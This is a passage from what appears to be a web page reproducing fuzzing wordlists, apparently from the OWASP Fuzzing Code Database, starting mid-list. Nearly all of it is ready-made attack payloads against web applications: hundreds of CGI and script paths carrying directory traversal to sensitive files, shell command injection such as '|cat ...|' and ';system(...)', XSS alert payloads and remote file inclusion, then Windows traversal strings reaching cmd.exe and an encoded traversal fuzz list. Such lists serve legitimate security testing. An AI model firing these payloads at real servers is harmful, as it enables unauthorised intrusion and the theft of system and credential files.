atk/javascript/class.atkdateattribute.js.php?config_atkroot=@RFIURL<br /> auction/auction.cgi?action=<br /> auctiondeluxe/auction.pl<br /> auktion.cgi?menue=../../../../../../../../../..{KNOWNFILE}<br /> auth_data/auth_user_file.txt<br /> awl/auctionweaver.pl<br /> awstats.pl<br /> awstats/awstats.pl<br /> ax-admin.cgi<br /> ax.cgi<br /> axs.cgi<br /> badmin.cgi<br /> banner.cgi<br /> bannereditor.cgi<br /> bash<br /> bb-hist?HI<br /> bb_smilies.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK<br /> bbcode_ref.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK<br /> bbs_forum.cgi<br /> betsie/parserl.pl/&lt;script&gt;alert('XSS')&lt;/script&gt;;<br /> bigconf.cgi?command=view_textfile&amp;file={KNOWNFILE}&amp;filters=<br /> bizdb1-search.cgi<br /> blog/<br /> blog/mt-check.cgi<br /> blog/mt-load.cgi<br /> blog/mt.cfg<br /> bnbform<br /> bnbform.cgi<br /> book.cgi?action=default&amp;current=|cat%20{KNOWNFILE}|&amp;form_tid=996604045&amp;prev=main.html&amp;list_message_index=10<br /> boozt/admin/index.cgi?section=5&amp;input=1<br /> bsguest.cgi?email=x;ls<br /> bslist.cgi?email=x;ls<br /> build.cgi<br /> bulk/bulk.cgi<br /> c_download.cgi<br /> cached_feed.cgi<br /> cachemgr.cgi<br /> cal_make.pl?p0=../../../../../../../../../..{KNOWNFILE}%00<br /> calendar<br /> calendar.php?calbirthdays=1&amp;action=getday&amp;day=2001-8-15&amp;comma=%22;echo%20'';%20echo%20%60id%20%60;die();echo%22<br /> calendar.pl<br /> calendar/calendar_admin.pl?config=|cat%20{KNOWNFILE}|<br /> calendar/index.cgi<br /> calendar_admin.pl?config=|cat%20{KNOWNFILE}|<br /> calender_admin.pl<br /> campas?%0acat%0a{KNOWNFILE}%0a<br /> cart.pl<br /> cart.pl?db='<br /> cartmanager.cgi<br /> cbmc/forums.cgi<br /> ccbill-local.cgi?cmd=MENU<br /> ccbill-local.pl?cmd=MENU<br /> cgforum.cgi<br /> cgi-lib.pl<br /> cgicso?query=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cgicso?query=AAA<br /> cgiforum.pl?thesection=../../../../../../../../../..{KNOWNFILE}%00<br /> cgiwrap<br /> cgiwrap/%3Cfont%20color=red%3E<br /> cgiwrap/~@U<br /> cgiwrap/~JUNK(5)<br /> cgiwrap/~root<br /> change-your-password.pl<br /> classified.cgi<br /> classifieds<br /> classifieds.cgi<br /> classifieds/classifieds.cgi<br /> classifieds/index.cgi<br /> clickcount.pl?view=test<br /> clickresponder.pl<br /> code.php<br /> code.php3<br /> com5..........................................................................................................................................................................................................................box<br /> com5.java<br /> com5.pl<br /> commandit.cgi<br /> commerce.cgi?page=../../../../../../../../../..{KNOWNFILE}%00index.html<br /> common.php?f=0&amp;ForumLang=../../../../../../../../../..{KNOWNFILE}<br /> common/listrec.pl<br /> common/listrec.pl?APP=qmh-news&amp;TEMPLATE=;ls%20/etc|<br /> compatible.cgi<br /> count.cgi<br /> counter-ord<br /> counterbanner<br /> counterbanner-ord<br /> counterfiglet-ord<br /> counterfiglet/nc/<br /> cs<br /> csChatRBox.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csGuestBook.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csLive<br /> csNews.cgi<br /> csNewsPro.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csPassword.cgi<br /> csPassword/csPassword.cgi<br /> csh<br /> cstat.pl<br /> cutecast/members/<br /> cvsblame.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvslog.cgi?file=*&amp;rev=&amp;root=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvslog.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvsquery.cgi?branch=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;file=&lt;script&gt;alert(document.domain)&lt;/script&gt;&amp;date=&lt;script&gt;alert(document.domain)&lt;/script&gt;<br /> cvsquery.cgi?module=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;branch=&amp;dir=&amp;file=&amp;who=&lt;script&gt;alert(document.domain)&lt;/script&gt;&amp;sortby=Date&amp;hours=2&amp;date=week<br /> cvsqueryform.cgi?cvsroot=/cvsroot&amp;module=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;branch=HEAD<br /> dansguardian.pl?DENIEDURL=&lt;/a&gt;&lt;script&gt;alert('XSS');&lt;/script&gt;<br /> dasp/fm_shell.asp<br /> data/fetch.php?page=<br /> date<br /> day5datacopier.cgi<br /> day5datanotifier.cgi<br /> db2www/library/document.d2w/show<br /> db4web_c/dbdirname/{KNOWNFILE}<br /> db_manager.cgi<br /> dbman/db.cgi?db=no-db<br /> dcforum.cgi?az=list&amp;forum=../../../../../../../../../..{KNOWNFILE}%00<br /> dcshop/auth_data/auth_user_file.txt<br /> dcshop/orders/orders.txt<br /> dfire.cgi<br /> diagnose.cgi<br /> dig.cgi<br /> directorypro.cgi?want=showcat&amp;show=../../../../../../../../../..{KNOWNFILE}%00<br /> displayTC.pl<br /> dnewsweb<br /> donothing<br /> dose.pl?daily&amp;somefile.txt&amp;|ls|<br /> download.cgi<br /> dumpenv.pl<br /> edit.pl<br /> empower?DB=whateverwhatever<br /> emu/html/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> emumail/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> enter.cgi<br /> environ.cgi<br /> environ.pl<br /> environ.pl?param1=&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> erba/start/%3Cscript%3Ealert('XSS');%3C/script%3E<br /> eshop.pl/seite=;cat%20eshop.pl|<br /> ex-logger.pl<br /> excite<br /> excite;IF<br /> ezadmin.cgi<br /> ezboard.cgi<br /> ezman.cgi<br /> ezshopper/loadpage.cgi?user_id=1&amp;file=|cat%20{KNOWNFILE}|<br /> ezshopper/search.cgi?user_id=id&amp;database=dbase1.exm&amp;template=../../../../../../..{KNOWNFILE}&amp;distinct=1<br /> ezshopper2/loadpage.cgi<br /> ezshopper3/loadpage.cgi<br /> faqmanager.cgi?toc={KNOWNFILE}%00<br /> faxsurvey?cat%20{KNOWNFILE}<br /> filemail<br /> filemail.pl<br /> finger<br /> finger.pl<br /> flexform<br /> flexform.cgi<br /> fom.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> fom/fom.cgi?cmd=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;file=1&amp;keywords=vulnerable<br /> formmail<br /> formmail.cgi<br /> formmail.cgi?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> formmail.pl<br /> formmail.pl?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> formmail?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> fortune<br /> ftp.pl<br /> ftpsh<br /> gH.cgi<br /> gbadmin.cgi?action=change_adminpass<br /> gbadmin.cgi?action=change_automail<br /> gbadmin.cgi?action=colors<br /> gbadmin.cgi?action=setup<br /> gbook/gbook.cgi?_MAILTO=xx;ls<br /> gbpass.pl<br /> generate.cgi?content=../../../../../../../../../../windows/win.ini%00board=board_1<br /> generate.cgi?content=../../../../../../../../../../winnt/win.ini%00board=board_1<br /> generate.cgi?content=../../../../../../../../../..{KNOWNFILE}%00board=board_1<br /> getdoc.cgi<br /> gettransbitmap<br /> glimpse<br /> gm-authors.cgi<br /> gm-cplog.cgi<br /> gm.cgi<br /> guestbook.cgi<br /> guestbook.cgi?user=cpanel&amp;template=|/bin/cat%20{KNOWNFILE}|<br /> guestbook.pl<br /> guestbook/passwd<br /> handler.cgi<br /> hitview.cgi<br /> horde/test.php<br /> horde/test.php?mode=phpinfo<br /> hsx.cgi?show=../../../../../../../../../../..{KNOWNFILE}%00<br /> htgrep?file=index.html&amp;hdr={KNOWNFILE}<br /> html2chtml.cgi<br /> html2wml.cgi<br /> htmlscript?../../../../../../../../../..{KNOWNFILE}<br /> htsearch.cgi?words=%22%3E%3Cscript%3Ealert%'XSS'%29%3B%3C%2Fscript%3E<br /> htsearch?-c/nonexistant<br /> htsearch?config=foofighter&amp;restrict=&amp;exclude=&amp;method=and&amp;format=builtin-long&amp;sort=score&amp;words=<br /> htsearch?exclude=%60{KNOWNFILE}%60<br /> ibill.pm<br /> icat<br /> if/admin/nph-build.cgi<br /> ikonboard/help.cgi?<br /> imageFolio.cgi<br /> imagefolio/admin/admin.cgi<br /> imagemap<br /> include/new-visitor.inc.php<br /> index.js0x70<br /> index.pl<br /> info2www<br /> info2www '(../../../../../../../bin/mail root &lt;{KNOWNFILE}&gt;<br /> infosrch.cgi<br /> ion-p?page=../../../../..{KNOWNFILE}<br /> jailshell<br /> jj<br /> journal.cgi?folder=journal.cgi%00<br /> ksh<br /> lastlines.cgi?process<br /> listrec.pl<br /> loadpage.cgi?user_id=1&amp;file=../../../../../../../../../..{KNOWNFILE}<br /> loadpage.cgi?user_id=1&amp;file=..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini<br /> log-reader.cgi<br /> log/<br /> log/nether-log.pl?checkit<br /> login.cgi<br /> login.pl<br /> login.pl?course_id=\<br /> logit.cgi<br /> logs.pl<br /> logs/<br /> logs/access_log<br /> logs/error_log<br /> lookwho.cgi<br /> ls<br /> lwgate<br /> lwgate.cgi<br /> magiccard.cgi?pa=3Dpreview&amp;amp;next=3Dcustom&amp;amp;page=3D../../../../../../../../../..{KNOWNFILE}<br /> mail<br /> mail/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> mail/nph-mr.cgi?do=loginhelp&amp;configLanguage=../../../../../../..{KNOWNFILE}%00<br /> mailit.pl<br /> maillist.cgi<br /> maillist.pl<br /> mailnews.cgi<br /> main.cgi?board=FREE_BOARD&amp;command=down_load&amp;filename=../../../../../../../../../..{KNOWNFILE}<br /> majordomo.pl<br /> man2html<br /> mastergate/search.cgi?search=0&amp;search_on=all<br /> meta.pl<br /> mgrqcgi<br /> mini_logger.cgi<br /> mmstdod.cgi<br /> moin.cgi?test<br /> mojo/mojo.cgi<br /> mrtg.cfg?cfg=../../../../../../../..{KNOWNFILE}<br /> mrtg.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> mrtg.cgi?cfg=blah<br /> ms_proxy_auth_query/<br /> mt-static/<br /> mt-static/mt-check.cgi<br /> mt-static/mt-load.cgi<br /> mt-static/mt.cfg<br /> mt/<br /> mt/mt-check.cgi<br /> mt/mt-load.cgi<br /> mt/mt.cfg<br /> multihtml.pl?multi={KNOWNFILE}%00html<br /> musicqueue.cgi<br /> myguestbook.cgi?action=view<br /> namazu.cgi<br /> nbmember.cgi?cmd=list_all_users<br /> netauth.cgi?cmd=show&amp;page=../../../../../../../../../..{KNOWNFILE}<br /> netpad.cgi<br /> newsdesk.cgi?t=../../../../../../../../../..{KNOWNFILE}<br /> nimages.php<br /> nlog-smb.cgi<br /> nlog-smb.pl<br /> non-existent.pl<br /> noshell<br /> nph-emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> nph-error.pl<br /> nph-exploitscanget.cgi<br /> nph-maillist.pl<br /> nph-publish<br /> nph-publish.cgi<br /> nph-showlogs.pl?files=../../&amp;filter=.*&amp;submit=Go&amp;linecnt=500&amp;refresh=0<br /> nph-test-cgi<br /> ntitar.pl<br /> opendir.php?{KNOWNFILE}<br /> orders/orders.txt<br /> pagelog.cgi<br /> pals-cgi?palsAction=restart&amp;documentName={KNOWNFILE}<br /> parse-file<br /> pass<br /> passwd<br /> passwd.txt<br /> password<br /> pbcgi.cgi?name=Joe%Camel&amp;email=%3C<br /> perl<br /> perl?-v<br /> perlshop.cgi<br /> pfdispaly.cgi?'%0A/bin/cat%20{KNOWNFILE}|'<br /> pfdispaly.cgi?../../../../../../../../../..{KNOWNFILE}<br /> pfdisplay.cgi?'%0A/bin/cat%20{KNOWNFILE}|'<br /> phf<br /> phf.cgi?QALIA<br /> phf?Qname=root%0Acat%20{KNOWNFILE}%20<br /> photo/<br /> photo/manage.cgi<br /> photo/protected/manage.cgi<br /> php-cgi<br /> php.cgi?{KNOWNFILE}<br /> plusmail<br /> pollit/Poll_It_<br /> pollssi.cgi<br /> post-query<br /> post_query<br /> postcards.cgi<br /> powerup/r.cgi?FILE=../../../../../../../../../..{KNOWNFILE}<br /> printenv<br /> printenv.tmp<br /> probecontrol.cgi?command=enable&amp;username=cancer&amp;password=killer<br /> processit.pl<br /> profile.cgi<br /> pu3.pl<br /> publisher/search.cgi?dir=jobs&amp;template=;cat%20{KNOWNFILE}|&amp;output_number=10<br /> query<br /> query?mss=%2e%2e/config<br /> quickstore.cgi?page=../../../../../../../../../..{KNOWNFILE}%00html&amp;cart_id=<br /> quikstore.cfg<br /> quizme.cgi<br /> r.cgi?FILE=../../../../../../../../../..{KNOWNFILE}<br /> ratlog.cgi<br /> redirect<br /> register.cgi<br /> replicator/webpage.cgi/<br /> responder.cgi<br /> retrieve_password.pl<br /> rksh<br /> rmp_query<br /> robadmin.cgi<br /> robpoll.cgi<br /> rpm_query<br /> rsh<br /> rtm.log<br /> rwcgi60<br /> rwcgi60/showenv<br /> rwwwshell.pl<br /> sawmill5?rfcf+%22{KNOWNFILE}%22+spbn+1,1,21,1,1,1,1<br /> sawmill?rfcf+%22<br /> sbcgi/sitebuilder.cgi<br /> scoadminreg.cgi<br /> scripts/*%0a.pl<br /> search.cgi<br /> search.cgi?..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\win.ini<br /> search.cgi?..\\..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini<br /> search.php?searchstring=&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> search.pl<br /> search.pl?Realm=All&amp;Match=0&amp;Terms=test&amp;nocpp=1&amp;maxhits=10&amp;;Rank=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> search.pl?form=../../../../../../../../../..{KNOWNFILE}%00<br /> search/search.cgi?keys=*&amp;prc=any&amp;catigory=../../../../../../../../../../../../etc<br /> sendform.cgi<br /> sendpage.pl?message=test\;/bin/ls%20/etc;echo%20\message<br /> sendtemp.pl?templ=../../../../../../../../../..{KNOWNFILE}<br /> session/adminlogin<br /> sewse?/home/httpd/html/sewse/jabber/comment2.jse+{KNOWNFILE}<br /> sh<br /> shop.cgi?page=../../../../../../..{KNOWNFILE}<br /> shop.pl/page=;cat%20shop.pl|<br /> shop/auth_data/auth_user_file.txt<br /> shop/orders/orders.txt<br /> shopper.cgi?newpage=../../../../../../../../../..{KNOWNFILE}<br /> shopplus.cgi?dn=domainname.com&amp;cartid=%CARTID%&amp;file=;cat%20{KNOWNFILE}|<br /> show.pl<br /> showcheckins.cgi?person=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> showuser.cgi<br /> simple/view_page?mv_arg=|cat%20{KNOWNFILE}|<br /> simplestguest.cgi<br /> simplestmail.cgi<br /> smartsearch.cgi?keywords=|/bin/cat%20{KNOWNFILE}|<br /> smartsearch/smartsearch.cgi?keywords=|/bin/cat%20{KNOWNFILE}|<br /> sojourn.cgi?cat=../../../../../../../../../../etc/password%00<br /> spin_client.cgi?aaaaaaaa<br /> ss<br /> sscd_suncourier.pl<br /> ssi//%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e{KNOWNFILE}<br /> start.cgi/%3Cscript%3Ealert('XSS');%3C/script%3E<br /> stat.pl<br /> stat/<br /> stats-bin-p/reports/index.html<br /> stats.pl<br /> stats.prf<br /> stats/<br /> stats/statsbrowse.asp?filepath=c:\&amp;Opt=3<br /> stats_old/<br /> statsconfig<br /> statusconfig.pl<br /> statview.pl<br /> store.cgi?<br /> store/agora.cgi?cart_id=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> store/agora.cgi?page=whatever33.html<br /> store/index.cgi?page=../../../../../../../..{KNOWNFILE}<br /> story.pl?next=../../../../../../../../../..{KNOWNFILE}%00<br /> story/story.pl?next=../../../../../../../../../..{KNOWNFILE}%00<br /> survey<br /> survey.cgi<br /> sws/admin.html<br /> sws/manager.pl<br /> tablebuild.pl<br /> talkback.cgi?article=../../../../../../../..{KNOWNFILE}%00&amp;action=view&amp;matchview=1<br /> tcsh<br /> technote/main.cgi?board=FREE_BOARD&amp;command=down_load&amp;filename=/../../../../../../../../../..{KNOWNFILE}<br /> test-cgi.tcl<br /> test-cgi?/*<br /> test-env<br /> test.cgi<br /> test/test.cgi<br /> texis/junk<br /> texis/phine<br /> textcounter.pl<br /> tidfinder.cgi<br /> tigvote.cgi<br /> title.cgi<br /> tpgnrock<br /> traffic.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> troops.cgi<br /> ttawebtop.cgi/?action=start&amp;pg=../../../../../../../../../..{KNOWNFILE}<br /> ultraboard.cgi<br /> ultraboard.pl<br /> unlg1.1<br /> unlg1.2<br /> update.dpgs<br /> upload.cgi<br /> uptime<br /> urlcount.cgi?%3CIMG%20<br /> ustorekeeper.pl?command=goto&amp;file=../../../../../../../../../..{KNOWNFILE}<br /> utm/admin<br /> utm/utm_stat<br /> view-source<br /> view-source?view-source<br /> view_item?HTML_FILE=../../../../../../../../../..{KNOWNFILE}%00<br /> viewcvs.cgi/viewcvs/?cvsroot=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> viewcvs.cgi/viewcvs/viewcvs/?sortby=rev\<br /> viewlogs.pl<br /> viewsource?{KNOWNFILE}<br /> viralator.cgi<br /> virgil.cgi<br /> vote.cgi<br /> vpasswd.cgi<br /> vq/demos/respond.pl?&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> w3-msql<br /> w3-sql<br /> wais.pl<br /> way-board.cgi?db={KNOWNFILE}%00<br /> way-board/way-board.cgi?db={KNOWNFILE}%00<br /> webais<br /> webbbs.cgi<br /> webbbs/webbbs_config.pl?name=joe&amp;email=test@example.com&amp;body=aaaaffff&amp;followup=10;cat%20{KNOWNFILE}<br /> webcart/webcart.cgi?CONFIG=mountain&amp;CHANGE=YE<br /> webdist.cgi?distloc=;cat%20{KNOWNFILE}<br /> webdriver<br /> webgais<br /> webif.cgi<br /> webmail/html/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> webmap.cgi<br /> webnews.pl<br /> webplus?about<br /> webplus?script=../../../../../../../../../..{KNOWNFILE}<br /> websendmail<br /> webspirs.cgi?sp.nextform=../../../../../../../../../..{KNOWNFILE}<br /> webutil.pl<br /> webutils.pl<br /> webwho.pl<br /> where.pl?sd=ls%20/etc<br /> whois.cgi?action=load&amp;whois=%3Bid<br /> whois.cgi?lookup=;&amp;ext=/bin/cat%20{KNOWNFILE}<br /> whois/whois.cgi?lookup=;&amp;ext=/bin/cat%20{KNOWNFILE}<br /> whois_raw.cgi?fqdn=%0Acat%20{KNOWNFILE}<br /> windmail<br /> wrap<br /> wrap.cgi<br /> ws_ftp.ini<br /> www-sql<br /> wwwadmin.pl<br /> wwwboard.cgi.cgi<br /> wwwboard.pl<br /> wwwstats.pl<br /> wwwthreads/3tvars.pm<br /> wwwthreads/w3tvars.pm<br /> wwwwais<br /> zml.cgi?file=../../../../../../../../../..{KNOWNFILE}%00<br /> zsh<br /> &lt;/pre&gt;<br /> <br /> === Windows Directory Traversal (Update: 17 March 2010 ===<br /> &lt;pre&gt;# Windows Directory Traversal (Update: 17 March 2010<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> ../../../../../../../../../../../../localstart.asp%00<br /> ../../../../../../../../../../../../localstart.asp<br /> \..\WINDOWS\win.ini<br /> \..\..\WINDOWS\win.ini<br /> \..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\..\WINDOWS\win.ini<br /> ..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..winnt/desktop.ini<br /> &lt;/pre&gt;<br /> <br /> === Generic 8 Directory Deep Traversal Fuzz (17 March 2010) ===<br /> &lt;pre&gt;<br /> # Generic 8 Directory Deep Traversal Fuzz (17 March 2010) <br /> # Derived from the awesome &quot;Directory Traversal Fuzzing Code&quot; v0.2 by Luca Carettoni<br /> # Did some cleanup &amp; removed anything to the right of {FILE} for inclusion in a<br /> # separate fuzzfile for more flexibiity, for the OWASP Fuzzing Code Database. <br /> # adam.muntner@uietmove.com <br /> <br /> ../{FILE}<br /> ../../{FILE}<br /> ../../../{FILE}<br /> ../../../../{FILE}<br /> ../../../../../{FILE}<br /> ../../../../../../{FILE}<br /> ../../../../../../../{FILE}<br /> ../../../../../../../../{FILE}<br /> ..%2f{FILE}<br /> ..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> %2e%2e/{FILE}<br /> %2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ..%252f{FILE}<br /> ..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> %252e%252e/{FILE}<br /> %252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> ..\{FILE}<br /> ..\..\{FILE}<br /> ..\..\..\{FILE}<br /> ..\..\..\..\{FILE}<br /> ..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\..\{FILE}<br /> ..%255c{FILE}<br /> ..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> %2e%2e\{FILE}<br /> %2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %252e%252e\{FILE}<br /> %252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> 